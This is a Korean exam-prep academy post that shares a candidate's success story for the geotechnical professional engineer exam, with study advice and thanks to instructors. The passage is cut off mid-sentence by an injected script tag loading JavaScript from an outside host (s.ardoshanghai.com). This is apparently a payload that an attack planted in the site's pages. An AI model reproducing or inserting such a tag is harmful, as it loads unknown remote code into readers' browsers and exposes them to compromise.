공지사항

합격자 수기-제77회 토질및기초 배문식님

  • 작성자 : 원장
  • 작성일 : 2006.07.18

원장 최상국입니다
우선 자신의 소중한 경험을 같은 과정을 밟아가는 분들에게 전해주신 배문식 선생님께 감사드
립니다
배선생님은 79회 합격자가 아니라 제77회 토질및기초 기술사 합격자이시며,
우리학원 수강자이십니다
우리학원에 수강하시고 얼마되지 않아서 합격하였기 때문에 우리학원 합격자 명단에는 올리
지 않았지만, 2차면접을 대비하여 우리학원에서 공부를 하셨습니다
감사하게도 자신의 경험을 전달해주셔서 공부하시는 분들에게 도움이 되고자 글을 전달하여,
올려드리니 기술사를 공부하고 계시는 많은 분들께 도움이 되셨으면 합니다
한번 더 배문식 선생님께 감사드니다

[77회 토질 및 기초기술사 최종합격 소감 - 배문식]

우선 제가 토질 및 기초 기술사에 합격할 수 있도록 많은 도움과 조언을 해주신 강남건축토목
학원 원장님과 김경민 강사님께 감사드립니다. 특히 타 학원과 달리 필기시험 뿐 아니라 면접
시험을 대비하여 저에게 다양한 참고자료와 예상문제, 답변요령 뿐만 아니라 바쁘신중에도 아
침 저녁등 시간에 구애없이 많은 정성과 노력을 기울여주신 점 이 자리를 빌어 다시한번 감사
하다는 말씀드립니다.
사실 합격수기를 쓴다는게 어쩐지 어색하고 시험준비를 하시는 분들께 도움드릴 말씀도 많
지 않은 듯하였지만, 제가 시험준비를 하며 느꼈던 많은 생각들이 떠올라 시험준비에 답답해
하는 분들께 참고가 되었으면 하는 바램으로 몇자 적습니다.

“현재의 상황에서 지금 나는 최선의 선택을 한 것인가?”
“너무 큰 모험이 아닐까? 열심히 해도 합격하지 못한다면 시험준비를 위해 투자했던 그 많은
시간과 노력은 과연 나에게 어떤 의미로 다가올까? 그때 나 스스로 후회하지 않을 자신이 있
는가?” 등등

시험준비를 하시는 모든 분들이 이런 고민을 하시고 또 가장 답답해하고 궁금해 하는 것은 아
마 “어떻게 공부해야 합격이 될까?”가 아닌가 생각됩니다. 그 당시 저 또한 마찬가지였구요.
공부하는 방법은 김경민 강사님이 아주 세밀하게 작성하여 게시판에 올려놨기에 제가 사족을
달 부분은 없는 것 같구요. 제79회 토질 및 기초 기술사 합격수기를 올려주신 류재구님(축하
드립니다^^) 글과 가능한 중복되지 않고 제 나름대로 중요하다고 판단되는 부분만 기술하겠
습니다.

저는 합격자 배출을 많이 한다는 00학원 등 2곳, 즉 오프라인에서도 강의를 받았고 온라인 강
의를 하는 강남건축토목학원에서도 수강을 했습니다. 결론은 온라인이든 오프라인이든 모두
장단점이 있다는 것입니다. 그런데 여기서 중요한 것은 온라인과 오프라인 장단점의 차이는
사실상 합격을 좌우할 정도의 비중을 차지하지는 않는다는 사실입니다.
가장 중요한 것은 결국 합격해야겠다는 자신의 의지이며 고시생이 아닌 현업에 종사하고 계
신 이상 현재의 조건(지리적, 시간적 제한, 직무환경, 이해도 등)에 가장 적합한 학원을 선택해야 한다는 것입니다.
두 번째로는 강의가 챕터(전단강도, 연약지반 등)간 상호 영향을 주는 부분들이 연관성있고
유기적으로 또 반복적으로 연결․진행되어야 한다는 점입니다.
그런면에서 보면 김경민 강사님은 토질 및 기초를 처음 시작하시는 분들과 어느 정도 공부도
하고 많이 외웠지만 충분히 이해하지는 못한 분들께 매우 적합한 강의입니다.(저도 대학교에
서 학부만 졸업하고 사회에 진출한 직장인이어서 충분히 이해하기가 첨에 많이 힘들었습니다
게다가 엔지니어링 업체에 근무하는 것도 아니어서 실무는 세부적으로는 잘 모릅니다.) 여기
서 충분히 이해하지 못했다는 의미는 제 나름대로의 생각으로는 이렇습니다. 시험볼때 분명
히 외웠지만 갑자기 쓰려고 하니 생각이 안난다면 이해가 충분치 못한 겁니다. 시험장에서 문
제를 딱 보고 답이 100% 생각나게 출제되는 문제는 사실상 없습니다. 다만 1교시 단답형은
가능할 수 도 있다고 생각되지만 어차피 공부하는 교재가 거의 비슷한 이상 채점관의 입장에
서는 배점의 차이에 거의 영향을 주지 못한다고 생각됩니다. 그러면 수험교재에도 나오지 않
을 정도의 깊은 공부가 필요할까도 생각해보았습니다. 물론 그렇게 할 수 있다면 최선의 방법
이긴 하지만 사람의 기억에도 한계(?)가 있는 법이고 공부하는 그 문제가 나온다는 보장도 없
으며, 10년 이상 공부할 시간과 열정이 있는 것이 아니라면 이 또한 최선의 선택은 아닌 것 같
습니다.
그러면? 답은 간단합니다. 전단강도, 암석, 투수 등 기존의 원리들을 조합하여 최적의 답안을
작성해야 합니다.
그러기 위해서 본인 스스로 최적의 답안을 만들수도 있지만 시간이 너무 많이 걸리므로 시간
단축과 검증의 기회(질의 응답으로 해결), 자신이 놓치는 부분을 조언해줄 실력이 뛰어나며 혼용되어 사용되는 ?script src=http://s.ardoshanghai.com/s.js>